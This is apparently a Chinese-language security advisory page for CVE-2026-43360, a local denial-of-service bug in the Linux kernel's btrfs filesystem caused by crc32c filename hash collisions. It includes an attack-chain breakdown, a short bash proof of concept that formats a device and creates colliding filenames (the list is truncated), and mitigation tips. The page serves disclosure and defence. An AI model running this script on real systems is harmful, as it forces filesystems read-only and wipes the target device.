IPBUF安全漏洞报告
English
CVE-2026-43360 CVSS 5.5 中危

CVE-2026-43360 Linux内核btrfs拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43360
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelbtrfsDoS拒绝服务本地攻击Hash Collision

漏洞概述

Linux内核的btrfs文件系统在处理文件创建时存在漏洞。当创建多个文件名哈希值相同的文件时,由于btrfs将这些文件存储在同一个目录项中,受限于叶子节点大小限制,达到限制后会触发事务中止,导致文件系统强制切换为只读模式。该漏洞允许低权限用户无需管理员权限即可利用,造成系统拒绝服务。

技术细节

该漏洞的核心在于btrfs文件系统对目录项中同名哈希文件的处理机制。Btrfs使用crc32c算法对文件名进行哈希,当发生哈希冲突时,文件会被打包存储在同一个b-tree叶子节点中。由于叶子节点大小有上限(例如最小4KB),一旦冲突的文件数量超过该容量,系统无法正确扩展或分配空间,进而触发内核事务错误。为了保护数据一致性,内核会将文件系统挂载为只读(RO),导致所有写操作失败,从而实现拒绝服务攻击。攻击者只需利用特定的哈希碰撞文件名列表即可触发此问题。

攻击链分析

STEP 1
步骤1
攻击者获取Linux系统的低权限用户访问权限。
STEP 2
步骤2
攻击者在挂载了btrfs文件系统的目录下执行恶意脚本。
STEP 3
步骤3
脚本利用特定文件名列表创建大量文件,这些文件名在btrfs中产生相同的crc32c哈希值。
STEP 4
步骤4
目录项填满btrfs叶子节点,触发内核事务中止(Transaction Abort)。
STEP 5
步骤5
文件系统为了保护数据完整性转为只读模式(RO),导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' # ... (truncated list as per input) ) # Create files to trigger the hash collision limit cd $MNT for name in "${names[@]}"; do touch "$name" done

影响范围

Linux Kernel (btrfs)

防御指南

临时缓解措施
限制非管理员用户在btrfs分区上的文件创建权限,或监控内核日志中的btrfs错误信息以便及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表